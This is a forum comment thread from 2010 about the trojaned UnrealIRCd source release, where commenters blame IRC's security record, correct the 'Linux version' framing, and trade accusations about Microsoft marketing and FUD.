There's nothing too surprising about this. Historically, IRC, which is sort of a CB radio of instant messaging services, has always had one major security problem after another. Indeed, IRC has often been used in the past to run Windows botnets. I strongly suspect whoever replaced the UnrealIRCd has been using it for running Windows botnets.

...

Let me spell it out for you. Even before this latest fiasco, no one who cares about security was letting IRC clients or servers run on their systems. It's always been too easy to abuse.

In this particular case, the group behind UnrealIRCd were just dumb about tracking their own program. Clearly, they never bothered to check their own code. The users, by virtue of the fact that they were running IRC in the first place, don't get any prizes for being bright either. After all, they were running IRC: Case closed.

Reply Score: 2

Oh the bloggers...
by Drunkula on Tue 15th Jun 2010 16:51 UTC
Drunkula
Member since:
2009-09-03

Oh I hated reading some of the news. Ed Bott is a moron - or - at least he sounds like one from his MS-bent article. The rest are any better!

Reply Score: 1

Not 'the Linux version'
by AdamW on Tue 15th Jun 2010 17:43 UTC
AdamW
Member since:
2005-07-06

"Recently, the Linux version of UnrealIRCd was discovered to have had a Trojan worm its way into the source code."

No, it wasn't 'the Linux version'. It was just the source tarball. Which is, of course, not arch dependent. If you really want to go through the pain of building it from source on Windows, you can. Or on a BSD, or whatever.

The only reason it ever got identified as 'the Linux version' in the first place is because the project ships pre-built binaries for Windows but not for Linux. Which is fairly common practice. It doesn't mean the source code is 'the Linux version', though. It's the source.

Reply Score: 2

The M$ CSI Lead boys
by nillbug on Tue 15th Jun 2010 22:07 UTC
nillbug
Member since:
2009-09-25

At beginning of this year MS started recruiting in the US their "Linux and Open Office Compete Lead, US Subsidiary (CSI Lead)"

This people will lead the MS strategy to compete and win share against Linux and FOSS.

The job description include items like build a solid view of FOSS communities through marketing intelligence, embrace Open Source web companies and community projects and extend FOSS community marketing/evangelism.

More details can be see in this "CSI Lead" add for the Ecuador, Quito:

http://webcache.googleusercontent.com/search?q=cache:FvMQFdpctVsJ:h...

They will also utilize 3rd party proof points, customer testimonials, ads, PR, community marketing, analyst briefings, and field/partner readiness content, as a way to change perceptions in the industry in favour of MS and against Linux.

Unfortunately this story is be one that they will certainly fully explore for that purpose.

Reply Score: 1

RE: The M$ CSI Lead boys
by lemur2 on Tue 15th Jun 2010 23:59 UTC in reply to "The M$ CSI Lead boys"
lemur2 Member since:
2007-02-17

At beginning of this year MS started recruiting in the US their "Linux and Open Office Compete Lead, US Subsidiary (CSI Lead)" This people will lead the MS strategy to compete and win share against Linux and FOSS. The job description include items like build a solid view of FOSS communities through marketing intelligence, embrace Open Source web companies and community projects and extend FOSS community marketing/evangelism. More details can be see in this "CSI Lead" add for the Ecuador, Quito: http://webcache.googleusercontent.com/search?q=cache:FvMQFdpctVsJ:h... They will also utilize 3rd party proof points, customer testimonials, ads, PR, community marketing, analyst briefings, and field/partner readiness content, as a way to change perceptions in the industry in favour of MS and against Linux. Unfortunately this story is be one that they will certainly fully explore for that purpose.


I think anyone told such a stroy from a Microsoft representative should show that representative this article:

http://arstechnica.com/security/news/2010/06/cyber-war-microsoft-a-...

That article should be fully explored for the purpose of counter-FUD, which seems to be required in this particular topic of security of distribution of software a lot more than other topics, for some reason.

Someone cleary has a barrow to push here.

Reply Score: 2

RE[2]: The M$ CSI Lead boys
by nillbug on Wed 16th Jun 2010 05:50 UTC in reply to "RE: The M$ CSI Lead boys"
nillbug Member since:
2009-09-25

It's a very good article, thanks for the link. In fact it should have deserved more relevance in the media than the present Linux case.
The outrageous response to this situation, very convenient for MS, was also commented by Brian Proffitt in the IT World: http://www.itworld.com/open-source/110930/trojaned-app-demonstrates...

Reply Score: 1